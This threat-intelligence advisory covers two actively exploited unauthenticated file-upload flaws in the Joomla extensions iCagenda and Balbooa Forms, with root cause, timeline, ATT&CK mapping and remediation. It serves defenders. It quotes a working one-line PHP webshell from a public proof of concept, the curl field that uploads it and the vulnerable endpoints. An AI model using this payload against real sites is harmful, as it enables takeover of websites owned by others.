CISA Warns of Actively Exploited RCE Flaws in Joomla Extensions — iCagenda (CVE-2026-48939) and Balbooa Forms (CVE-2026-56291) Arbitrary File Upload

CISA Warns of Actively Exploited RCE Flaws in Joomla (TL-2026-1267), also tracked as iCagenda Zero-Day File Upload, is a critical-severity software vulnerability scored CVSS 9.8, first published 2026-07-13. It has no confirmed attribution, affects JoomliC iCagenda (Joomla event management extension), references 2 CVEs (CVE-2026-48939, CVE-2026-56291), maps to 18 MITRE ATT&CK techniques (T1005, T1036, T1059), and is covered by 9 detection rules and 21 indicators of compromise.

Key facts for TL-2026-1267

Threat ID
TL-2026-1267
Also known as
iCagenda Zero-Day File Upload, Balbooa Forms Zero-Day File Upload
Severity
CRITICAL
CVSS
9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Status
ACTIVE
Category
VULNERABILITY
First published
2026-07-13
Last reviewed
2026-07-13
Attribution confidence
LOW
Motivation
UNKNOWN
Target sectors
government administration, education, nonprofit, smallbusiness, news - media, professionalservices, health, retail, hospitality, localgovernment
Target regions
Global, North America, Europe
Detection rules
9
Indicators of compromise
21

CISA added two maximum-priority arbitrary file upload vulnerabilities in Joomla extensions — iCagenda (CVE-2026-48939, CVSS 9.8) and Balbooa Forms (CVE-2026-56291, CVSS 9.8) — to its Known Exploited Vulnerabilities catalog after confirming pre-patch zero-day exploitation. Unauthenticated attackers upload PHP web shells through unrestricted extension attachment handlers to achieve full remote code execution and site takeover; federal agencies must remediate by July 13, 2026.

How CISA Warns of Actively Exploited RCE Flaws in Joomla works

Two unrelated but structurally identical unauthenticated arbitrary file upload vulnerabilities in commonly deployed Joomla third-party extensions were exploited as zero-days within a one-month window in mid-2026, prompting CISA to add both to the Known Exploited Vulnerabilities (KEV) catalog under Binding Operational Directive 22-01.

CVE-2026-48939 affects the iCagenda event management extension by JoomliC (versions 3.2.1 through 3.9.14, and 4.0.0 through 4.0.7). The frontend event-registration form's file attachment feature enforces access restrictions only at the view layer — 'the access check was applied only in the view that decides whether to draw the form on screen. The controller that actually processed the submission never checked it at all.' An unauthenticated visitor can harvest a form token from any public iCagenda page (the submit form need not be publicly linked), then POST an arbitrary file directly to the `registration.submit` controller via the `jform[attachment]` multipart field with no MIME-type validation, no extension allowlist (the original code never routed uploads through Joomla's `MediaHelper` allow-list), and no content scanning. Uploaded files are written directly under the web root at `images/icagenda/frontend/attachments/` with the original extension preserved verbatim, making a `.php` upload immediately server-executable — full RCE was confirmed on Joomla 6 installations, where core upload filtering is absent; earlier Joomla versions natively blocked unsafe uploads and were limited to an unapproved-event-creation bypass. Automated in-the-wild exploitation began June 15, 2026 at approximately 08:00 UTC (per JoomliC), hours before the vendor shipped fixed versions 4.0.8 and 3.9.15 the same day (legacy branch patched June 16). A public PoC (documented exploit chain reproduced independently) uses the minimal webshell `<?php echo "OK|".php_uname(); system($_GET["c"]); ?>`, delivered via `-F "jform[attachment]=@shell.php;type=application/x-php"`, granting command execution through the `c` GET parameter. Observed attack telemetry associated with automated exploitation includes the User-Agent string `icagenda-batch/1.0` and a session-creation → POST-to-submission → fetch-of-planted-file attack signature.

CVE-2026-56291 affects Balbooa Forms (`com_baforms`), a commercial drag-and-drop form builder, in all versions up to and including 2.4.0. The frontend attachment upload handler at `index.php?option=com_baforms&task=form.uploadAttachmentFile` (implemented in the frontend `FormModel.php`, upload routine around line 122) accepted uploads from any anonymous visitor with no session/authentication checks and no CSRF token validation. The processing controller derived the file extension directly from the attacker-supplied filename (e.g. `shell.php` → `php`), sanitized only the name portion via Joomla's `File::makeSafe()` helper, then rejoined the cleaned name with the untouched original extension (`$fileName = $name . '.' . $ext`) before writing the file to `images/baforms/uploads/form-<id>/` — a web-accessible, PHP-executable directory. A customer of mySites.guru (researcher Phil Taylor) received a Hetzner hosting-provider abuse notification containing raw access logs on July 8, 2026; mySites.guru analyzed the logs, confirmed the missing authentication and file-type restrictions via code review, and reproduced the attack locally the same day. Private disclosure was sent to Balbooa, which responded the same day and shipped version 2.4.1 on July 9, 2026 — the fix adds server-side extension validation against form field configuration, an optional MIME-type-checking mode, server-generated (non-attacker-controlled) filenames, and CSRF token enforcement on the upload endpoint. Balbooa's changelog listed the fixes under a generic 'Fixed' heading without security terminology, a disclosure-hygiene gap that plausibly delayed administrator awareness of the criticality. No public PoC/exploit code was released for CVE-2026-56291.

Both vulnerabilities follow the same root-cause pattern common across Joomla third-party extensions: authorization checks implemented only in the presentation/view layer while the underlying controller/model accepts any request, combined with extension-preserving sanitization routines that clean the filename but not the trailing extension — the same class of flaw independently documented in other Joomla/WordPress form-builder extensions (e.g. Convert Forms CVE-2024-40744, Ninja Forms CVE-2026-0740, and a related sibling flaw, PageBuilder CK's CVE-2026-56290, also disclosed by mySites.guru around the same date). CISA added both CVEs to the KEV catalog on July 10, 2026, classifying them maximum priority and setting a compressed three-day remediation deadline (July 13, 2026) for FCEB agencies under BOD 22-01. Both flaws enable unauthenticated, pre-patch remote code execution leading to PHP web shell deployment and complete Joomla site compromise, including creation of unauthorized Super User administrator accounts.

MITRE ATT&CK techniques used in TL-2026-1267

Collection

T1005 Data from Local System

Defense Evasion

T1036 Masquerading; T1070 Indicator Removal

Execution

T1059 Command and Scripting Interpreter; T1203 Exploitation for Client Execution

Privilege Escalation

T1068 Exploitation for Privilege Escalation; T1078 Valid Accounts

Command and Control

T1071 Application Layer Protocol; T1105 Ingress Tool Transfer

Discovery

T1082 System Information Discovery; T1518 Software Discovery

Persistence

T1136 Create Account; T1505 Server Software Component; T1505.003 Web Shell

Initial Access

T1190 Exploit Public-Facing Application

Impact

T1491 Defacement

Reconnaissance

T1593 Search Open Websites/Domains; T1595 Active Scanning

Affected products and versions in CISA Warns of Actively Exploited RCE Flaws in Joomla

  • JoomliC — iCagenda (Joomla event management extension)
    Vulnerable versions: 3.2.1-3.9.14; 4.0.0-4.0.7
    Fixed in: 4.0.8; 3.9.15
  • Balbooa — Balbooa Forms (com_baforms, Joomla drag-and-drop form builder)
    Vulnerable versions: 1.0-2.4.0
    Fixed in: 2.4.1

Remediation for CISA Warns of Actively Exploited RCE Flaws in Joomla

Patches

  • iCagenda 4.0.8 (released 2026-06-15) / 3.9.15 (released 2026-06-16) — routes uploads through Joomla's MediaHelper allow-list and adds controller-layer authentication checks
  • Balbooa Forms 2.4.1 (released 2026-07-09) — adds server-side extension validation against form field config, optional MIME-type checking, server-generated filenames, CSRF enforcement

Immediate actions

  • Update iCagenda to version 4.0.8 (current branch) or 3.9.15 (legacy branch) immediately
  • Update Balbooa Forms to version 2.4.1 or later immediately
  • Search images/icagenda/frontend/attachments/ for unexpected PHP files and remove them
  • Run: find images/baforms/uploads -name '*.php' -type f to detect webshells in Balbooa upload directories
  • Audit Joomla Super User and administrator accounts sorted by creation/registration date for unauthorized entries
  • Review web server access logs for POST requests to index.php?option=com_icagenda&task=registration.submit and index.php?option=com_baforms&task=form.uploadAttachmentFile from unauthenticated sources
  • Hunt for the User-Agent string icagenda-batch/1.0 in access logs as a signal of automated CVE-2026-48939 exploitation
  • If either extension is not in active use, disable or remove it entirely
  • Unpublish public Balbooa forms accepting file attachments until patching completes
  • Rotate credentials and reissue Joomla Super User API tokens if compromise is confirmed

Workarounds

  • Block or restrict access to the vulnerable upload endpoints at the reverse proxy/WAF layer
  • Deny PHP execution within images/icagenda/frontend/attachments/ and images/baforms/uploads/ via web server rules
  • Temporarily disable the iCagenda registration form and Balbooa Forms attachment feature if patching cannot occur immediately

Longer-term hardening

  • Deploy a WAF rule blocking PHP file uploads to /images/ subdirectories on Joomla sites
  • Disable PHP execution in upload/media directories via web server configuration (disable_functions, .htaccess, or nginx location blocks)
  • Implement centralized third-party Joomla extension inventory and automated update monitoring
  • Establish periodic file-integrity monitoring on Joomla webroots to detect unauthorized PHP files
  • Require CSRF token and authentication enforcement audits for all third-party Joomla extension upload handlers, including controller-layer (not just view-layer) authorization checks
  • Subscribe to CISA KEV catalog and Joomla VEL (Vulnerable Extensions List) for continuous vulnerability tracking
  • Audit other Joomla form-builder/attachment extensions for the same extension-preserving sanitization anti-pattern (e.g. Convert Forms, PageBuilder CK)

CVEs associated with CISA Warns of Actively Exploited RCE Flaws in Joomla

CVE-2026-48939, CVE-2026-56291

Weaknesses (CWE) in CISA Warns of Actively Exploited RCE Flaws in Joomla

CWE-434, CWE-284, CWE-306

Timeline of CISA Warns of Actively Exploited RCE Flaws in Joomla

  • JoomliC releases iCagenda version 4.0.8, routing uploads through Joomla's MediaHelper allow-list and adding controller-layer authentication.
  • mySites.guru confirms the flaw via code review and reproduces the exploit on a clean Joomla 6 installation; responsible disclosure sent to JoomliC, which responds the same day.
  • Automated in-the-wild exploitation of CVE-2026-48939 (iCagenda) begins at approximately 08:00 UTC against Joomla sites, hours before the vendor patch ships; a client independently reports active exploitation via access logs the same day.
  • Public proof-of-concept exploit for CVE-2026-48939 published on GitHub (shinthink/CVE-2026-48939), documenting the registration.submit upload chain and minimal PHP webshell payload.
  • JoomliC releases legacy-branch fix iCagenda 3.9.15.
  • CVE-2026-48939 formally published by the Joomla security team; a second public PoC repository (Polosss/By-Poloss..-..CVE-2026-48939) appears on GitHub.
  • mySites.guru (researcher Phil Taylor) identifies live zero-day exploitation of CVE-2026-56291 (Balbooa Forms) after a customer receives a Hetzner hosting-provider abuse notification with raw access logs; the flaw is reproduced locally and privately disclosed to Balbooa, which responds same-day.
  • Balbooa ships version 2.4.1, adding server-side extension validation, MIME-type checking, server-generated filenames, and CSRF enforcement; CVE-2026-56291 formally assigned. No public exploit code is released. mySites.guru separately discloses the related PageBuilder CK flaw CVE-2026-56290 the same day.
  • BleepingComputer, The Hacker News, SecurityAffairs, and WindowsNews.ai publish coverage of the CISA KEV additions and the shared file-upload root-cause pattern across both extensions.
  • CISA adds both CVE-2026-48939 and CVE-2026-56291 to its Known Exploited Vulnerabilities catalog, classifying them maximum priority under confirmed active exploitation.
  • CISA Binding Operational Directive 22-01 remediation deadline for FCEB agencies to patch or mitigate both vulnerabilities.

Sources cited for CISA Warns of Actively Exploited RCE Flaws in Joomla

Threats related to CISA Warns of Actively Exploited RCE Flaws in Joomla

Detection coverage for TL-2026-1267

As of 2026-07-13, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1267 across Splunk SPL, Microsoft KQL and Sigma, covering 21 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats